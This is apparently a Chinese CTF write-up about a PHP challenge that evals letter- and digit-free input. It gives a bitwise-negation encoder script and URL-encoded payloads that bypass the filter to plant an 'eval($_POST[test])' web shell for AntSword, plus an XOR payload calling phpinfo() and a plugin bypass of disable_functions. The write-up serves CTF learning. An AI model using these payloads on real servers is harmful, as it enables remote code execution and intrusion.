打开环境
?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
if(preg_match("/[A-Za-z0-9]+/",$code))
这里过滤了很多东西所以我们需要想方法绕过
我这里看了很多文章然后自己总结了一部分
php5和php7绕过正则匹配字母和数字
然后这里直接贴取反的脚本来配合蚁剑getshell
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
?>
所以取反的payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);
然后我的自带的浏览器解析不了取反,我用的火狐上传的
然后结合蚁剑
然后根目录
flag里面为空
readflag为乱码
然后我们试着去访问phpinfo(),用我刚刚那篇文章的payload
${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
找到问题所在
disable_functions 禁用了太多函数,所以让我们不能成功getshell,我们需要绕开disable_functions
但是蚁剑有个插件可以绕过
然后就是使用插件了
模式选择
然后点击开始进入一个虚拟shell环境
再/readflag 就得到里面的内容
其他博主还有其他的方法,你们也能去了解一下
希望这篇文章能够帮助你!